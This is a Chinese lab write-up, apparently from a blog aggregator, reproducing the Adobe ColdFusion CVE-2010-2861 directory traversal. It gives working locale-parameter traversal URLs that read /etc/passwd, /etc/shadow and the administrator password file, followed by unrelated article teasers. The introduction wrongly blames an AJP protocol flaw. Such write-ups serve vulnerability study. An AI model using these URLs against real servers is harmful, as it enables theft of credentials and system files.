俗半
俗半

Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现

Adobe ColdFusion文件读取漏洞（CVE-2010-2861）

    • 漏洞原理
    • 实验环境
    • 漏洞环境
    • 漏洞复现

漏洞原理

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。
由于AJP协议设计存在缺陷导致内部相关的属性可控，攻击者可以构造属性值，使未授权的用户读取服务器任意文件获得敏感信息，甚至可以进行远程代码执行漏洞的利用。
Adobe ColdFusion 8、9版本中皆存在一处目录穿越漏洞。

实验环境

一、靶机：
系统：ubuntu搭建的测试靶场
IP：192.168.88.129
二、攻击机：
系统：win10
IP：192.168.88.137

漏洞环境

启动coldfusion(建议网速好的时候弄，有点大)：
Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现_第1张图片
环境启动后，可在浏览器页面访问http://192.168.88.129:8500/ CFIDE/administrator/enter.cfm，输入密码：admin，开始初始化整个环境
Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现_第2张图片
Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现_第3张图片

漏洞复现

一、访问：http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=…/…/…/…/…/…/…/…/…/…/etc/passwd%00en，用burp截取
Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现_第4张图片
删除其中的cookie信息后，即可读取文件/etc/passwd
Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现_第5张图片
也可读取文件/etc/shadow
Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现_第6张图片

二、访问：/CFIDE/administrator/enter.cfm?locale=…/…/…/…/…/…/…/lib/password.properties%00en，读取后台管理员密码
Adobe ColdFusion（CVE-2010-2861）文件读取漏洞复现_第7张图片

参考链接：https://blog.csdn.net/qq_36374896/article/details/84191264

你可能感兴趣的:(漏洞复现,安全)

  • Java 并发编程：ReentrantLock原理与实战详解
    一、引言在多线程编程中，线程安全始终是一个关键议题。Java在早期版本中提供了synchronized关键字作为内置锁机制，以支持基本的同步控制。然而，随着并发程序复杂度的提高，synchronized的局限性日益显现，主要体现在以下几个方面：功能受限：synchronized不支持尝试加锁、超时获取、可中断获取等高级功能。缺乏灵活性：一旦进入临界区就只能等待，无法主动退出。可观测性差：开发者无法
  • 一文吃透DApp生命周期 代码羊羊 区块链web3web3区块链
    一、引言在Web3的宏大版图中，去中心化应用（DApp）无疑占据着核心地位，是推动Web3发展的重要力量。DApp基于区块链技术构建，与传统应用相比，它具有去中心化、开源、自治、数据加密存储等特性，这些特性赋予了DApp更高的安全性、透明度以及用户自主性，也因此，DApp在金融、游戏、社交、供应链等众多领域展现出巨大的应用潜力，成为了众多开发者和企业探索Web3世界的重要方向。要开发出一个成功的D
  • Java高级工程师面试模拟：高并发电商秒杀系统设计与技术解析 搞Java的小码农 Java技术场景题Java面试技术面试后端开发SpringRedisKafka
    《Java高级工程师面试模拟：高并发电商秒杀系统设计与技术解析》场景设定面试地点：某互联网大厂的现代化办公区，面试室宽敞明亮，面试官坐在主位，表情严肃而专注，小兰则坐在对面，自信满满但内心略显紧张。第1轮：Java核心、基础框架与数据库问题1：Java中的ConcurrentHashMap是如何保证线程安全的？面试官：小兰，ConcurrentHashMap是Java中常用的线程安全集合，请简单说
  • 煤炭传送带YOLOv8异物检测系统介绍 qq1309399183 计算机视觉实战项目集合YOLO目标检测人工智能深度学习计算机视觉传送带识别异物识别
    传送带YOLOv8异物检测系统介绍随着工业自动化水平的不断提高，传送带系统在矿山、食品加工、制造业等领域的应用日益广泛。然而，传送带在运行过程中常常会混入各种异物，如金属零件、石块、木块等，这些异物不仅会影响产品质量，还可能损坏设备甚至危及人员安全。基于YOLOv8算法的传送带异物检测系统应运而生，为解决这一问题提供了智能化解决方案。系统概述YOLOv8(YouOnlyLookOnceversio
  • 开源的服务网格:Istio 深海科技服务 行业发展开源istio云原生
    一、lstio介绍Istio是一个开源的服务网格（ServiceMesh），它为微服务架构中的服务间通信提供了统一的管理、连接、安全、控制和可观测性。在复杂的云原生环境中，尤其是基于Kubernetes的部署中，随着微服务数量的增加，管理它们之间的网络通信会变得异常复杂。Istio就是为了解决这些挑战而设计的。1、为什么需要Istio？在传统的微服务架构中，开发人员需要在每个服务中编写代码来处理服
  • mediamtx v1.13.0版本深度解读：全面升级RTSP加密支持及多项关键改进解析
    一、引言在现代视频流和实时传输技术迅速发展的背景下，开源流媒体服务器mediamtx的更新备受关注。2025年7月7日，mediamtx发布了v1.13.0版本，此版本带来了大量重要的功能增强和漏洞修复，尤其是在RTSP协议支持、加密传输、KLV元数据路由等方面做出了卓越提升。本文将从新特性、修复与提升、安全机制、依赖库升级等多个角度，详细解读mediamtxv1.13.0版本，助力开发者和运维人
  • 网络安全用什么编程语言_网络安全的5种最佳编程语言 程序员羊羊 web安全网络安全开发语言数据库
    网络安全用什么编程语言要成为网络安全专家，要取得成功，需要多种技能。全方位的专业人员可以放心地实施和监视安全措施，以保护计算机系统免受攻击和未经授权的访问。总部位于巴西的Python专家Henrique教人们如何使用该语言创建应用程序，他强调“除了紧跟网络安全领域的最新动态，您还需要熟悉各种编程语言。”这里有5种最佳编程语言，可帮助您提高网络安全职业的学习能力。1.C和C++C和C++是网络安全专
  • Java 反射基础
    文章目录反射：框架设计的灵魂一、获取Class对象的方式1、Class.forName("全类名")2、类名.class3、对象.getClass()注意：二、class对象功能1、获取成员变量们2、获取构造方法们3、获取成员方法们4、获取全类名三、Field：成员变量1、设置值2、获取值3、忽略访问权限修饰符的安全检查四、Constructor：构造方法1、创建对象：2、忽略访问权限修饰符的安全
  • java安全策略 禁止反射_初探java安全之反射 小宏i java安全策略禁止反射
    什么是反射反射机制在java中可以说是非常强大的，很多优秀的开源框架都是通过反射完成的。在java的运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法，都能够调用它的任意一个方法和属性，这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。下面介绍下基于反射技术的函数方法。与反射相关的，其实主要就是几个关键的函数方法。可以先从这一段简单的代码看起publicvoide
  • Vue.js 中跨域请求未配置 CORS 的问题及解决方案 JJCTO袁龙 Vuevue.js前端javascript
    Vue.js中跨域请求未配置CORS的问题及解决方案在Vue.js开发中，跨域请求（CORS）是一个常见的问题。当你的前端应用尝试从不同的源访问后端API时，浏览器会出于安全考虑阻止这些请求，除非后端服务器明确允许。本文将探讨这些问题的常见原因，并提供相应的解决方案。一、Vue.js中跨域请求未配置CORS的常见原因（一）浏览器的同源策略限制浏览器的同源策略限制了从一个源加载的文档或脚本与来自另一
  • 软考高项：信息网络安全知识模拟题 立志成为网安大牛 web安全网络安全
    620、以下哪个场景属于身份鉴别过程()。A.用户依照提示输入用户名、口令和短信验证码，成功登录该应用。B.用户在网络上共享了的一份加密的pdf文档，以阻止其他人下载查看文档中的内容。C.用户给自己编写的文档加上水印。D.用户在网上下载了一份带水印的文档，去掉了水印。正确答案:A解析:A选项属于身份鉴别的过程。621、公钥密码的应用不包括()A.数字签名B.身份认证C.消息认证码D.非安全信道的密
  • 注入漏洞类型、特殊字符以及处理方法 jimmyleeee SecurityInjection数据库
    各种应用攻击中，注入攻击是被利用最多的，也是危害最大的，同时，相对而言，也是比较容易集中处理的漏洞类型，通过SAST（静态代码扫描工具）也是很容易发现的。因此此类漏洞的发现与处理对于系统的安全与稳定非常重要。但是，由于注入攻击的漏洞类型比较多，一种攻击类型在不同的系统预防方法还不一样，这就导致了比较大的困难来预防注入漏洞。这里根据统计的注入漏洞类型，把危险的字符列举出来，把相关的处理编码方法也列出
  • XSLT模版注入漏洞
    XSLT模版注入漏洞模版注入漏洞根因（SSTI，服务器端模版注入）XSLT介绍XSLT模版注入漏洞关键点漏洞触发场景漏洞复现环境引入依赖poc修复方案限制document读取路径限制使用`xsl:include`、`xsl:import`引用外部实体避免暴露java的危险类和方法完整代码（包含修复）参考模版注入漏洞根因（SSTI，服务器端模版注入）由于模版内容部分或全部被外部控制，导致在模版加载或
  • SFTP服务器搭建实战：腾讯云 Linux 上的快速安全文件传输方案
    更多云服务器知识，尽在hostol.com你有没有遇到这种情况：FTP上传老是失败？内网传输日志经常被拦截？最气的是安全部门说你那套文件传输方式“明文传输，不合规”。那好吧，现在是时候扔掉老掉牙的FTP，来点靠谱的了——SFTP。等等，SFTP是啥？SSH的“升级版”？不，是你服务器通信里那把真正的保险锁。今天就带你5分钟搞定它，尤其是在腾讯云Linux云服务器环境下，手把手实战部署，从基础到加固
  • FTP太不安全了？SFTP 替代方案构建企业级文件传输服务全指南
    你有没有遇到过这种事？某天凌晨，公司官网突然崩了，运维排查一整圈，最后发现是某个FTP用户密码泄露被人植入了木马网页。那一刻你可能才突然意识到，FTP这玩意儿，居然还在你们系统里悄悄跑着，而且还是“裸奔”。不夸张地说，FTP在今天的互联网环境下已经是“古董级危险品”了。所以，我们今天不讲理论，不聊历史，只聊一件事：用SFTP替换FTP，怎么一步步在企业环境里真正落地？为什么FTP是“老虎凳”，而不
  • XSLT注入与安全修复方法
    XSLT注入概述XSLT注入是一种安全漏洞，攻击者通过操纵XSLT（可扩展样式表语言转换）的输入参数或样式表内容，执行恶意操作（如文件读取、远程代码执行、服务端请求伪造）。当用户输入未经严格过滤直接嵌入XSLT处理流程时，可能触发此类漏洞。常见攻击场景与危害敏感文件读取xslt危害：泄露服务器敏感信息。远程代码执行（依赖扩展函数）xslt危害：服务器被完全控制。SSRF（服务端请求伪造）xslt危
  • 记录一篇HTTPS的文章 麦秸垛的守望者 https网络协议http
    深入理解HTTPS：从发展历程到技术原理与前端实践一、HTTPS发展历程：从安全需求到行业标准的演进HTTPS（HyperTextTransferProtocolSecure）的诞生源于互联网安全通信的迫切需求。早期的HTTP协议以明文传输数据，存在严重的安全隐患，如数据窃听、篡改和身份伪造等问题。随着电子商务、在线支付等场景的兴起，保障数据传输安全成为亟待解决的问题。1994年：网景公司（Net
  • 空对象模式（Null Object Pattern） froginwe11 开发语言
    空对象模式（NullObjectPattern）在面向对象编程中，空对象模式（NullObjectPattern）是一种设计模式，其核心思想是当对象不包含任何有意义的行为或状态时，提供一个空对象来代替一个实际的对象。这样可以在不创建实际对象的情况下，避免空指针异常，提高代码的健壮性和可读性。一、空对象模式概述空对象模式通过引入一个空对象来替代空指针，使得程序在处理对象引用时更加安全。这种模式在以下
  • Tesla的FSD 架构设计 WSSWWWSSW 智能驾驶汽车人工智能FSD
    特斯拉的FSD（完全自动驾驶）架构设计以端到端神经网络为核心，结合专用硬件加速、海量数据训练和持续OTA迭代，形成了一套高度集成的系统。以下从硬件、软件、算法、数据处理和安全机制五个维度展开分析：一、硬件架构：从HW3.0到AI5的算力跃迁HW3.0基础设计采用三星14nm工艺的定制SoC，包含12个Cortex-A72CPU核心、2个NPU（合计73.7TOPS算力）和Mali-G71GPU，支
  • Rust 数据类型 froginwe11 开发语言
    Rust数据类型引言Rust是一种系统编程语言，以其高性能和安全性而闻名。在Rust中，正确地使用数据类型对于编写高效、健壮的代码至关重要。本文将深入探讨Rust的数据类型，包括基本数据类型、复合数据类型以及引用和生命周期等概念。基本数据类型Rust提供了丰富的基本数据类型，包括整型、浮点型、字符和布尔型。整型Rust中的整型包括：i8至i128：有符号整数，大小分别为8位至128位。u8至u12
  • ThinkPHP 如何在生产环境中配置日志？ 深山技术宅 PHP经验数据库php后端ThinkPHP
    在ThinkPHP生产环境中配置日志时，需要重点关注稳定性、性能和安全。以下是最佳实践配置方案：生产环境推荐配置(config/log.php)return['default'=>env('log.channel','stack'),'channels'=>[//组合通道（核心配置）'stack'=>['type'=>'stack','channels'=>['daily','error_file
  • 高压电缆护层安全的智能防线：TLKS-PLGD 监控设备深度解析 李子圆圆 安全
    在现代电力系统庞大复杂的网络中，高压电缆护层是守护电力传输的"隐形铠甲"，其安全直接影响电网稳定。传统监测手段响应慢、精度低，难以满足安全运维需求。TLKS-PLGD高压电缆护层环流监控设备应运而生，提供智能化解决方案。智能监测：全方位守护TLKS-PLGD专为高压电缆护层安全研发，融合实时监测、智能预警、远程管控技术，构建高精度监控体系。其功能强大：能实时监测接地电流，捕捉细微波动预判隐患；支持
  • Spring Boot + 本地部署大模型实现：安全性与可靠性保障 代码老y springbootbootstrap后端
    在将大语言模型集成到SpringBoot应用中时，安全性和可靠性是两个关键因素。本地部署的大模型虽然提供了强大的功能，但也可能带来一些安全风险，如数据泄露、模型被恶意利用等。本文将介绍如何在SpringBoot应用中保障本地部署大模型的安全性和可靠性，确保应用的稳定运行。一、安全性保障（一）数据加密传输加密：确保模型生成的结果在传输过程中被加密，防止数据在传输过程中被窃取。可以使用HTTPS协议来
  • 深入剖析F5、DNS、LVS、Nginx、Tomcat：Java架构师的流量分发指南（一） 呢喃coding 系统架构设计javalvsnginx
    深入剖析F5、DNS、LVS、Nginx、Tomcat：Java架构师的流量分发指南在Java架构设计中，流量分发是保障系统高性能、高可用的关键环节。F5、DNS、LVS、Nginx和Tomcat在流量分发处理中各自扮演着独特的角色，深入理解它们对于Java架构师来说至关重要。一、F5：企业级的应用交付利器（一）功能与特性F5是一款企业级的应用交付网络（ADN）设备，它集负载均衡、应用安全、SSL
  • C#指针：解锁内存操作的底层密码
    C#指针：解锁内存操作的底层密码在C#的世界里，我们习惯了托管代码带来的安全与便捷——垃圾回收器自动管理内存，类型系统严格检查数据操作，就像在精心维护的花园中漫步，无需担心杂草与荆棘。但当性能成为关键瓶颈，或是需要与非托管代码交互时，我们就需要一把能劈开藩篱的利刃——C#指针。它允许开发者直接操作内存地址，如同在荒野中开辟道路，充满挑战却也暗藏高效的可能。一、什么是C#指针？指针是一个变量，其值为
  • Android逆向工具简单介绍 @ZhangJun Android进阶Android逆向反编译反汇编Hook
    目录一、Android逆向概述1、什么是Android逆向2、逆向过程3、逆向用途1）APP自动化执行程序脚本2）修改APP的功能3）APP安全二、常用逆向工具介绍1、APP抓包工具1）Fiddler2）Wireshark2、jadx反编译工具3、APKDB4、Frida之Hook工具5、IDA反汇编工具1）为何反汇编2）如何反汇编3）IDAPro的基本功能：4）IDA目录结构5）常用快捷键6）常
  • 内网穿透：在家本地也能搭建“公网服务器”？转发/直连、原理/操作一文读懂！
    这里可以让你终于明白内网穿透是怎么回事了，再也不用求人帮忙搭服务器，自己动手soeasy内网穿透技术允许外网用户访问内网设备，解决了家庭网络中没有公网IP、防火墙端口屏蔽等问题。本文整理汇总介绍了三种实现方式：中转服务器、P2P打洞和路由器端口映射，每种方法都有其优缺点。同时提醒用户注意安全性，避免内网服务被攻击，并提供了快速上手的建议。0、引言你有没有遇到过这些问题？想在外地访问家里的NAS，但
  • 【项目日记（一）】-仿mudou库one thread oneloop式并发服务器实现 @Aurora. 服务器运维
    1、模型框架客户端处理思想：事件驱动模式事件驱动处理模式：谁触发了我就去处理谁。（如何知道触发了）技术支撑点：I/O的多路复用（多路转接技术）1、单Reactor单线程：在单个线程中进行事件驱动并处理对所有客户端进行IO事件监控、哪个客户端触发了事件，就去处理谁处理：接收它的请求，进行业务处理，进行响应。优点：单线程操作，操作都是串行化的，思想简单，（不需要考虑进程或者线程间的通信问题，以及安全问
  • 云存储的应用场景都包含哪些？
    云存储是一种网上在线存储的模式，可以将重要的数据信息存放在由第三方托管的虚拟服务器当中，云存储是在云计算概念上所延伸和衍生出的一个新的概念，保证企业中数据的安全性，同时还帮助企业节省了一定的存储空间，让用户可以更加便捷的存取所需的数据资源，实现文件共享和协作功能。本文将来具有了解一下云存储的应用场景都有哪些吧！云存储所应用的场景也较为广泛，其高度的灵活性和可扩展性成为了各个企业的首要选择，尤其是对
  • 车牌识别相机在停车场的应用 电子护照杨健辉 智能硬件ocr
    车牌识别相机在停车场的应用已经成为现代智慧停车系统的核心，通过自动化、智能化的管理，显著提升车辆通行效率、降低人工成本并增强安全性。以下是车牌识别相机在停车场的主要应用场景及技术实现：1.无人值守车辆进出管理应用场景自动识别车牌：车辆到达入口/出口时，车牌识别相机自动抓拍车牌并识别号码，道闸自动抬杆放行，无需人工干预。无感支付：识别车牌后自动关联车主账户（如支付宝、微信或ETC），实现自动扣费，车
  • java线程的无限循环和退出 3213213333332132 java
    最近想写一个游戏，然后碰到有关线程的问题，网上查了好多资料都没满足。 突然想起了前段时间看的有关线程的视频，于是信手拈来写了一个线程的代码片段。 希望帮助刚学java线程的童鞋 package thread; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date
  • tomcat 容器 BlueSkator tomcatWebservlet
    Tomcat的组成部分 1、server A Server element represents the entire Catalina servlet container. (Singleton) 2、service service包括多个connector以及一个engine，其职责为处理由connector获得的客户请求。   3、connector 一个connector
  • php递归,静态变量,匿名函数使用 dcj3sjt126com PHP递归函数匿名函数静态变量引用传参
      <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Current To-Do List</title> </head> <body>
  • 属性颜色字体变化 周华华 JavaScript
    function changSize(className){ var diva=byId("fot") diva.className=className; } </script> <style type="text/css"> .max{ background: #900; color:#039;
  • 将properties内容放置到map中 g21121 properties
    代码比较简单： private static Map<Object, Object> map; private static Properties p; static { //读取properties文件 InputStream is = XXX.class.getClassLoader().getResourceAsStream("xxx.properti
  • [简单]拼接字符串 53873039oycg 字符串
             工作中遇到需要从Map里面取值拼接字符串的情况，自己写了个，不是很好，欢迎提出更优雅的写法，代码如下：           import java.util.HashMap; import java.uti
  • Struts2学习 云端月影
    最近开始关注struts2的新特性，从这个版本开始，Struts开始使用convention-plugin代替codebehind-plugin来实现struts的零配置。 配置文件精简了，的确是简便了开发过程，但是，我们熟悉的配置突然disappear了，真是一下很不适应。跟着潮流走吧，看看该怎样来搞定convention-plugin。 使用Convention插件，你需要将其JAR文件放
  • Java新手入门的30个基本概念二 aijuans java新手java 入门
    基本概念:　　1.OOP中唯一关系的是对象的接口是什么,就像计算机的销售商她不管电源内部结构是怎样的,他只关系能否给你提供电就行了,也就是只要知道can or not而不是how and why.所有的程序是由一定的属性和行为对象组成的,不同的对象的访问通过函数调用来完成,对象间所有的交流都是通过方法调用,通过对封装对象数据,很大限度上提高复用率。　　2.OOP中最重要的思想是类,类是模板是蓝图,
  • jedis 简单使用 antlove javarediscachecommandjedis
    jedis.RedisOperationCollection.java package jedis; import org.apache.log4j.Logger; import redis.clients.jedis.Jedis; import java.util.List; import java.util.Map; import java.util.Set; pub
  • PL/SQL的函数和包体的基础 百合不是茶 PL/SQL编程函数包体显示包的具体数据包
    由于明天举要上课,所以刚刚将代码敲了一遍PL/SQL的函数和包体的实现(单例模式过几天好好的总结下再发出来);以便明天能更好的学习PL/SQL的循环,今天太累了,所以早点睡觉,明天继续PL/SQL总有一天我会将你永远的记载在心里,,,   函数; 函数:PL/SQL中的函数相当于java中的方法;函数有返回值 定义函数的 --输入姓名找到该姓名的年薪 create or re
  • Mockito(二)--实例篇 bijian1013 持续集成mockito单元测试
            学习了基本知识后，就可以实战了，Mockito的实际使用还是比较麻烦的。因为在实际使用中，最常遇到的就是需要模拟第三方类库的行为。         比如现在有一个类FTPFileTransfer，实现了向FTP传输文件的功能。这个类中使用了a
  • 精通Oracle10编程SQL(7)编写控制结构 bijian1013 oracle数据库plsql
    /* *编写控制结构 */ --条件分支语句 --简单条件判断 DECLARE v_sal NUMBER(6,2); BEGIN select sal into v_sal from emp where lower(ename)=lower('&name'); if v_sal<2000 then update emp set
  • 【Log4j二】Log4j属性文件配置详解 bit1129 log4j
    如下是一个log4j.properties的配置   log4j.rootCategory=INFO, stdout , R log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appe
  • java集合排序笔记 白糖_ java
    public class CollectionDemo implements Serializable,Comparable<CollectionDemo>{ private static final long serialVersionUID = -2958090810811192128L; private int id; private String nam
  • java导致linux负载过高的定位方法 ronin47
    定位java进程ID 可以使用top或ps -ef |grep java ![图片描述][1] 根据进程ID找到最消耗资源的java pid 比如第一步找到的进程ID为5431 执行 top -p 5431 -H ![图片描述][2] 打印java栈信息 $ jstack -l 5431 > 5431.log 在栈信息中定位具体问题 将消耗资源的Java PID转
  • 给定能随机生成整数1到5的函数，写出能随机生成整数1到7的函数 bylijinnan 函数
    import java.util.ArrayList; import java.util.List; import java.util.Random; public class RandNFromRand5 { /** 题目：给定能随机生成整数1到5的函数，写出能随机生成整数1到7的函数。 解法1： f(k) = (x0-1)*5^0+(x1-
  • PL/SQL Developer保存布局 Kai_Ge
          近日由于项目需要，数据库从DB2迁移到ORCAL，因此数据库连接客户端选择了PL/SQL Developer。由于软件运用不熟悉，造成了很多麻烦，最主要的就是进入后，左边列表有很多选项，自己删除了一些选项卡，布局很满意了，下次进入后又恢复了以前的布局，很是苦恼。在众多PL/SQL Developer使用技巧中找到如下这段：   &n
  • [未来战士计划]超能查派[剧透,慎入] comsci 计划
           非常好看,超能查派,这部电影......为我们这些热爱人工智能的工程技术人员提供一些参考意见和思想........        虽然电影里面的人物形象不是非常的可爱....但是非常的贴近现实生活....    &nbs
  • Google Map API V2 dai_lm google map
    以后如果要开发包含google map的程序就更麻烦咯 http://www.cnblogs.com/mengdd/archive/2013/01/01/2841390.html 找到篇不错的文章，大家可以参考一下 http://blog.sina.com.cn/s/blog_c2839d410101jahv.html 1. 创建Android工程 由于v2的key需要G
  • java数据计算层的几种解决方法2 datamachine javasql集算器
    2、SQL     SQL/SP/JDBC在这里属于一类，这是老牌的数据计算层，性能和灵活性是它的优势。但随着新情况的不断出现，单纯用SQL已经难以满足需求，比如： JAVA开发规模的扩大，数据量的剧增，复杂计算问题的涌现。虽然SQL得高分的指标不多，但都是权重最高的。     成熟度：5星。最成熟的。   
  • Linux下Telnet的安装与运行 dcj3sjt126com linuxtelnet
    Linux下Telnet的安装与运行   linux默认是使用SSH服务的 而不安装telnet服务  如果要使用telnet 就必须先安装相应的软件包  即使安装了软件包 默认的设置telnet 服务也是不运行的 需要手工进行设置 如果是redhat9，则在第三张光盘中找到 telnet-server-0.17-25.i386.rpm
  • PHP中钩子函数的实现与认识 dcj3sjt126com PHP
    假如有这么一段程序： function fun(){ fun1(); fun2(); }   首先程序执行完fun1()之后执行fun2()然后fun()结束。   但是，假如我们想对函数做一些变化。比如说，fun是一个解析函数，我们希望后期可以提供丰富的解析函数，而究竟用哪个函数解析，我们希望在配置文件中配置。这个时候就可以发挥钩子的力量了。   我们可以在fu
  • EOS中的WorkSpace密码修改 蕃薯耀 修改WorkSpace密码
    EOS中BPS的WorkSpace密码修改 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 201
  • SpringMVC4零配置--SpringSecurity相关配置【SpringSecurityConfig】 hanqunfeng SpringSecurity
     SpringSecurity的配置相对来说有些复杂，如果是完整的bean配置，则需要配置大量的bean，所以xml配置时使用了命名空间来简化配置，同样，spring为我们提供了一个抽象类WebSecurityConfigurerAdapter和一个注解@EnableWebMvcSecurity，达到同样减少bean配置的目的，如下：   applicationContex
  • ie 9 kendo ui中ajax跨域的问题 jackyrong AJAX跨域
    这两天遇到个问题，kendo ui的datagrid，根据json去读取数据，然后前端通过kendo ui的datagrid去渲染，但很奇怪的是，在ie 10,ie 11,chrome,firefox等浏览器中，同样的程序， 浏览起来是没问题的，但把应用放到公网上的一台服务器， 却发现如下情况： 1） ie 9下，不能出现任何数据，但用IE 9浏览器浏览本机的应用，却没任何问题
  • 不要让别人笑你不能成为程序员 lampcy 编程程序员
    在经历六个月的编程集训之后，我刚刚完成了我的第一次一对一的编码评估。但是事情并没有如我所想的那般顺利。 说实话，我感觉我的脑细胞像被轰炸过一样。 手慢慢地离开键盘，心里很压抑。不禁默默祈祷：一切都会进展顺利的，对吧？至少有些地方我的回答应该是没有遗漏的，是不是？ 难道我选择编程真的是一个巨大的错误吗——我真的永远也成不了程序员吗？ 我需要一点点安慰。在自我怀疑，不安全感和脆弱等等像龙卷风一
  • 马皇后的贤德 nannan408
       马皇后不怕朱元璋的坏脾气，并敢理直气壮地吹耳边风。众所周知，朱元璋不喜欢女人干政，他认为“后妃虽母仪天下，然不可使干政事”，因为“宠之太过，则骄恣犯分，上下失序”，因此还特地命人纂述《女诫》，以示警诫。但马皇后是个例外。 　　有一次，马皇后问朱元璋道：“如今天下老百姓安居乐业了吗？”朱元璋不高兴地回答：“这不是你应该问的。”马皇后振振有词地回敬道：“陛下是天下之父，
  • 选择某个属性值最大的那条记录（不仅仅包含指定属性，而是想要什么属性都可以） Rainbow702 sqlgroup by最大值max最大的那条记录
    好久好久不写SQL了，技能退化严重啊！！！   直入主题： 比如我有一张表，file_info， 它有两个属性（但实际不只，我这里只是作说明用）： file_code, file_version 同一个code可能对应多个version 现在，我想针对每一个code，取得它相关的记录中，version 值 最大的那条记录， SQL如下： select *
  • VBScript脚本语言 tntxia VBScript
      VBScript 是基于VB的脚本语言。主要用于Asp和Excel的编程。   VB家族语言简介   Visual Basic 6.0           源于BASIC语言。           由微软公司开发的包含协助开发环境的事
  • java中枚举类型的使用 xiao1zhao2 javaenum枚举1.5新特性
    枚举类型是j2se在1.5引入的新的类型,通过关键字enum来定义,常用来存储一些常量.   1.定义一个简单的枚举类型 public enum Sex { MAN, WOMAN }   枚举类型本质是类,编译此段代码会生成.class文件.通过Sex.MAN来访问Sex中的成员,其返回值是Sex类型.   2.常用方法 静态的values()方
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他